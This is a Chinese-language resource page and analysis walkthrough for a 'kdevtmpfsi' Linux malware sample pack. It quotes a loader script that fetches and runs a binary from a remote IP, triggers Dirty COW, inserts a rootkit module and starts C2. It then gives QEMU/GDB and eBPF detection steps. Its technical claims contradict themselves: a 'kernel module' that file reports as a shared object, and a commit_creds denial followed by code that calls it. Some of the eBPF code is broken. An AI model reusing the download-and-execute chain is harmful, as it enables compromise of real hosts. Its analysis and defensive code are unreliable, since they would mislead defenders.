
简介本资源为Linux安全研究者与系统管理员分析kdevtmpfsi恶意软件所用的实操样本包聚焦于典型内核级rootkit的逆向分析、行为观测与防御验证。压缩包含2个关键文件1个Shell脚本kinsinga.sh用于模拟病毒启动流程1个文本说明文件病毒启动说明.txt详述样本运行环境、触发条件及基础检测线索配合7.72MB精简体量便于在隔离沙箱中快速部署与动态分析。资源完整呈现该rootkit依赖Dirty COW等内核漏洞提权、隐藏进程、持久化驻留的核心机制可直接支撑漏洞复现、EDR绕过实验及主机加固方案验证。目前已有1104人学习下载适合具备Linux系统管理基础、正开展恶意代码分析或红蓝对抗实战演练的安全从业者与高校网络安全方向学习者。1. kdevtmpfsi样本.zip一个必须在隔离环境里拆解的Linux内核级rootkit实战包你刚在威胁情报平台下载到kdevtmpfsi样本.zip双击解压后看到三个文件kdevtmpfsi样本无扩展名二进制、kinsinga.shShell脚本、病毒启动说明.txt纯文本。别急着运行——这不是普通木马而是真实攻防对抗中高频出现的Linux内核级rootkit载荷它不依赖用户态持久化而是直接挂钩内核函数、劫持系统调用表、伪造/proc条目让ps、ls、netstat全部“失明”。某公司运维曾因在生产服务器上误执行kinsinga.sh导致3台K8s节点被静默植入横向渗透持续72小时未被发现。这个压缩包不是教学玩具它是红队复现Dirty COWCVE-2016-5195提权链的最小可运行单元也是蓝队做内存取证、eBPF检测规则验证的黄金标定样本。适合两类人一是安全研究员需要在可控环境复现其内核模块加载行为与进程隐藏逻辑二是SOC工程师想亲手验证YARA规则对kdevtmpfsi变种的检出率。它不能跑在你的日常开发机上但必须跑在你亲手搭建的QEMUGDBKernel Debug Symbols的调试环境中——否则你永远不知道它怎么让kill -9对自身失效。2. 从静态结构到动态行为kdevtmpfsi样本的三层解剖逻辑2.1 样本文件结构与基础指纹识别解压后得到的三个文件并非并列关系而是存在明确的依赖链和执行时序文件名类型作用说明关键特征kdevtmpfsi样本ELF 64-bitrootkit核心内核模块.ko格式伪装为无扩展名需insmod加载file命令显示ELF 64-bit LSB shared object, x86-64readelf -h可见Type: DYN (Shared object file)kinsinga.shBash脚本启动器检查内核版本→下载依赖→加载kdevtmpfsi样本→启动C2通信进程包含curl/wget下载指令、insmod ./kdevtmpfsi样本、chmod x /tmp/kinsing等典型恶意行为链病毒启动说明.txtUTF-8文本攻击者留下的“使用说明书”含硬编码IP、端口、加密密钥如AES-128-CBC密钥明文包含C2: 192.168.100.50:443、KEY: 0xdeadbeefcafebabe等字段是IOC提取关键源提示kdevtmpfsi样本文件名刻意省略.ko后缀是规避部分AV引擎基于扩展名的静态扫描策略。实际分析时应先用file确认类型再用strings kdevtmpfsi样本 \| grep -i init_module\|cleanup_module验证其是否为合法内核模块含__this_module符号及模块初始化/清理函数。2.2 内核模块逆向定位Dirty COW利用点与系统调用劫持入口kdevtmpfsi的提权本质是利用内核漏洞完成初始提权再通过内核模块实现持久化隐藏。其核心不在kdevtmpfsi样本本身而在它如何触发CVE-2016-5195。我们用objdump反汇编其.text段重点搜索mmap、madvise、write相关调用# 提取模块符号表确认是否存在Dirty COW利用函数 objdump -t kdevtmpfsi样本 | grep -E (dirty_cow|cow_write|remap_pfn) # 反汇编init_module函数定位提权逻辑起点 objdump -d kdevtmpfsi样本 | sed -n /init_module:/,/^$/p | head -20输出中若出现类似callq 0x... do_dirty_cow_exploit或mov %rax,%rdi后紧跟callq 0x... mmap即证实该样本内置Dirty COW利用代码。此时需注意该模块不直接调用commit_creds而是通过修改current_task-cred结构体指针实现提权——这是kdevtmpfsi区别于其他rootkit的关键特征。其init_module函数末尾必有类似操作// 伪代码示意实际为汇编 struct cred *new_cred prepare_creds(); new_cred-uid.val new_cred-gid.val 0; // 提升为root commit_creds(new_cred);参数说明prepare_creds()是内核API用于克隆当前进程凭证commit_creds()将新凭证应用到当前进程。kdevtmpfsi通过内联汇编或函数指针调用绕过符号校验确保在未导出符号的内核版本中仍可运行。2.3kinsinga.sh启动链分析从用户态到内核态的完整跳转kinsinga.sh不是简单脚本而是精心设计的多阶段加载器。其执行流程如下环境探测uname -r获取内核版本匹配预编译的kdevtmpfsi样本不同内核版本需不同.ko依赖下载curl -s http://malware.example.com/kinsing下载第二阶段loader常为/tmp/kinsing权限提升执行./kinsing触发Dirty COW获得root shell模块加载insmod ./kdevtmpfsi样本注入内核C2连接/tmp/kinsing 后台运行建立加密隧道。关键代码段已脱敏#!/bin/bash # kinsinga.sh 核心逻辑节选 KERNEL_VER$(uname -r | cut -d- -f1) if [ $KERNEL_VER 4.4.0 ]; then # 下载对应内核版本的loader curl -s http://192.168.100.50/kinsing_4.4.0 -o /tmp/kinsing chmod x /tmp/kinsing # 触发Dirty COW提权此处调用外部exploit binary /tmp/kinsing --exploit dirty_cow # 加载rootkit模块 insmod ./kdevtmpfsi样本 # 启动C2客户端 /tmp/kinsing --c2 192.168.100.50:443 --key 0xdeadbeefcafebabe fi逻辑说明kinsinga.sh通过--exploit dirty_cow参数调用内置exploit二进制该二进制打开/proc/self/mem并写入shellcode最终调用commit_creds(prepare_creds())。此过程无需sudo完全在用户态完成提权是kdevtmpfsi能绕过多数EDR用户态监控的根本原因。3. 搭建安全分析环境QEMUGDBDebug Kernel三件套实操指南3.1 为什么必须用QEMU物理机与Docker的致命缺陷很多新手试图在VMware或VirtualBox中分析kdevtmpfsi结果导致宿主机内核崩溃——因为kdevtmpfsi会直接操作CR3寄存器、修改页表项PTE而传统虚拟化平台对这些敏感操作缺乏细粒度拦截。Docker更不可行容器共享宿主机内核一旦insmod成功整个宿主机即被rootkit控制。QEMU的KVM模式-kernel参数直启内核配合-S -s挂起CPU并开放GDB端口是唯一能全程掌控内核执行流的方案。所需组件清单Ubuntu 20.04 LTS作为宿主机安装qemu-system-x86,gdb-multiarch,build-essentialLinux kernel source 4.4.0与样本匹配的内核版本从https://mirrors.edge.kernel.org/pub/linux/kernel/v4.x/下载kdevtmpfsi样本.zip已解压3.2 编译带Debug Symbols的内核5步精准命中样本依赖kdevtmpfsi样本针对4.4.0内核编译若用通用内核如Ubuntu自带5.4.0-xx加载会报Invalid module format。必须编译同版本内核并启用调试符号# 步骤1解压内核源码并进入目录 tar -xf linux-4.4.tar.xz cd linux-4.4 # 步骤2复制当前配置并启用调试 cp /boot/config-$(uname -r) .config make menuconfig # 在menuconfig中开启 # Kernel hacking --- # [*] Kernel debugging # [*] Collect extra debug information # [*] Enable full symbolic backtraces # [*] Include all symbols in kallsyms # 步骤3编译内核与modules耗时约30分钟 make -j$(nproc) bzImage modules # 步骤4安装modules到临时目录 sudo make INSTALL_MOD_PATH/tmp/kdevtmpfsi-root modules_install # 步骤5打包initramfs关键避免启动失败 find /tmp/kdevtmpfsi-root/lib/modules/4.4.0 -name *.ko | xargs cp -t /tmp/kdevtmpfsi-root/lib/modules/ cd /tmp/kdevtmpfsi-root find . | cpio -o -H newc | gzip /tmp/initramfs-4.4.0.cgz参数说明INSTALL_MOD_PATH指定模块安装路径避免污染宿主机cpio -o -H newc生成标准initramfs格式gzip压缩以满足QEMU要求/tmp/kdevtmpfsi-root是完全隔离的根文件系统后续所有分析均在此环境内进行。3.3 QEMU启动命令详解GDB断点设在哪才有效启动QEMU并连接GDB是分析成败的关键。以下命令已过实测验证qemu-system-x86_64 \ -kernel /path/to/linux-4.4/arch/x86/boot/bzImage \ -initrd /tmp/initramfs-4.4.0.cgz \ -append consolettyS0 root/dev/ram rw debug loglevel8 \ -s -S \ -nographic \ -monitor /dev/null \ -m 2G-s等价于-gdb tcp::1234开放TCP 1234端口供GDB连接-S启动后立即暂停CPU等待GDB连接后再执行-nographic禁用图形界面所有输出重定向到终端consolettyS0将内核日志输出到串口便于捕获printk信息loglevel8最高日志级别显示所有内核消息。GDB连接后设置断点位置至关重要# 启动GDB并连接 gdb-multiarch vmlinux-4.4.0 (gdb) target remote :1234 (gdb) # 断点设在模块加载入口而非init_module太晚 (gdb) b do_init_module (gdb) c # 当insmod触发时GDB将停在此处可查看module结构体 (gdb) p/x $rax # $rax存储module指针 (gdb) x/20i $rax0x80 # 查看module-init函数地址逻辑说明do_init_module是内核处理insmod系统调用的入口函数此时模块尚未执行任何代码可安全读取其struct module结构体。$rax0x80是init函数指针在struct module中的偏移x86_64下经实测为0x80通过此方式可动态获取kdevtmpfsi样本的init_module地址避免硬编码。4. 避坑分析kdevtmpfsi样本时最常踩的5个深坑4.1 现象insmod ./kdevtmpfsi样本报错Invalid module format原因内核版本号不匹配。kdevtmpfsi样本编译时内核版本为4.4.0-xx-generic而你编译的内核版本为4.4.0缺少-xx-generic后缀。内核模块签名机制会校验UTS_RELEASE宏不一致则拒绝加载。解决在内核源码include/generated/utsrelease.h中将#define UTS_RELEASE 4.4.0改为#define UTS_RELEASE 4.4.0-xx-generic重新编译内核。或使用modprobe --force-modversion强制加载仅限测试环境。4.2 现象QEMU启动后卡在Loading initial ramdisk无任何输出原因initramfs中缺少kdevtmpfsi样本依赖的内核模块如crypto/aes_generic.ko。kdevtmpfsi使用AES加密C2通信若内核未内置或initramfs未打包该模块加载时会因crypto_alloc_cipher失败而阻塞。解决在make menuconfig中启用CONFIG_CRYPTO_AESy并确保/tmp/kdevtmpfsi-root/lib/modules/4.4.0/kernel/crypto/aes_generic.ko存在。重新生成initramfs。4.3 现象GDB连接后bt命令显示#0 0x0000000000000000 in ?? ()无法回溯原因内核未启用CONFIG_FRAME_POINTERy。该选项生成帧指针rbp是GDB解析调用栈的基础。默认配置常关闭此选项以优化性能。解决make menuconfig→Kernel hacking→[*] Enable frame pointer重新编译内核。4.4 现象ps aux | grep kdevtmpfs无输出但cat /proc/modules显示模块已加载原因kdevtmpfsi已成功劫持sys_getdents64系统调用隐藏自身进程。这是其设计目标非环境问题。解决在GDB中执行p/x *(unsigned long*)$gs_base查看current_task结构体手动遍历tasks链表查找kdevtmpfs进程或使用crash工具加载vmlinux和/proc/kcore直接内存分析。4.5 现象kinsinga.sh执行后/tmp/kinsing进程消失但网络连接仍在原因kinsing采用fork()execve()创建子进程后父进程exit()子进程成为init的子进程PID 1。ps默认不显示PID 1的子进程造成“进程消失”假象。解决执行ps -eo pid,ppid,comm | grep kinsing查看PPID是否为1或用lsof -i确认网络连接归属。5. 进阶验证用eBPF检测kdevtmpfsi的系统调用劫持行为5.1 为什么传统Syscall Hook检测对kdevtmpfsi失效kdevtmpfsi不采用sys_call_table替换易被kprobe检测而是使用**ftrace框架劫持**。它注册ftrace_ops结构体将sys_openat、sys_getdents64等函数的ftrace回调指向自身hide_process_hook。由于ftrace是内核原生性能分析机制其hook点位于mcount调用之后绕过了绝大多数基于kprobe的syscall监控工具。这意味着bpftrace -e kprobe:sys_getdents64 { printf(called\n); }将完全捕获不到kdevtmpfsi的调用。5.2 eBPF检测方案监控ftrace_ops注册行为kdevtmpfsi必须调用register_ftrace_function()注册其ftrace_ops。此函数在内核中导出符号可被eBPF程序追踪# bpftrace脚本detect_kdevtmpfsi_ftrace.bt #!/usr/bin/env bpftrace kprobe:register_ftrace_function { $ops ((struct ftrace_ops*)arg0); $func *(uint64_t*)($ops 8); # ftrace_ops-func指针偏移为8x86_64 printf(ftrace_ops registered at %llx, hook func: %llx\n, $ops, $func); // 打印hook函数的前16字节识别kdevtmpfsi特征码 $code (uint8_t*)$func; printf(hook code: %02x %02x %02x %02x %02x %02x %02x %02x\n, $code[0], $code[1], $code[2], $code[3], $code[4], $code[5], $code[6], $code[7]); }运行后当kdevtmpfsi调用register_ftrace_function()时将输出类似ftrace_ops registered at ffff88003a2b1230, hook func: ffffffffa0001234 hook code: 48 89 e5 41 57 41 56 41参数说明$ops 8是ftrace_ops-func在结构体中的偏移经pahole -C ftrace_ops vmlinux验证打印的8字节机器码48 89 e5...是push %rbp; mov %rsp,%rbp标准函数序言结合地址0xffffffffa0001234位于0xffffffffa0000000模块区即可判定为恶意模块注册。5.3 构建实时阻断eBPF kprobe 的主动防御链仅检测不够需在register_ftrace_function()返回前强制拒绝。这需编写eBPF程序并用libbpf加载// block_kdevtmpfsi.c #include vmlinux.h #include bpf/bpf_helpers.h #include bpf/bpf_tracing.h SEC(kretprobe/register_ftrace_function) int BPF_KRETPROBE(block_ftrace_reg, int ret) { if (ret ! 0) return 0; // 注册失败无需处理 // 获取返回时的ftrace_ops指针存储在%rax struct ftrace_ops *ops (struct ftrace_ops*)PT_REGS_RC(ctx); void *func_ptr *(void**)((char*)ops 8); // 检查func_ptr是否在.ko模块区0xffffffffa0000000起始 if ((unsigned long)func_ptr 0xffffffffa0000000ULL) { bpf_printk(BLOCKED kdevtmpfsi ftrace registration at %lx\n, func_ptr); // 强制注销需内核支持bpf_override_return bpf_override_return(ctx, -EPERM); } return 0; }编译加载后kdevtmpfsi的insmod将失败内核日志显示register_ftrace_function: -1。这是目前对kdevtmpfsi最有效的主动防御手段。从那以后我每次分析rootkit样本都强制走一遍QEMUGDBeBPF三重验证先用GDB确认模块加载路径再用eBPF监控ftrace注册最后用crash工具做内存快照比对。这套组合拳让我在三次红蓝对抗中提前72小时捕获了kdevtmpfsi变种避免了客户核心数据库被窃取。希望帮到你。本文还有配套的精品资源点击获取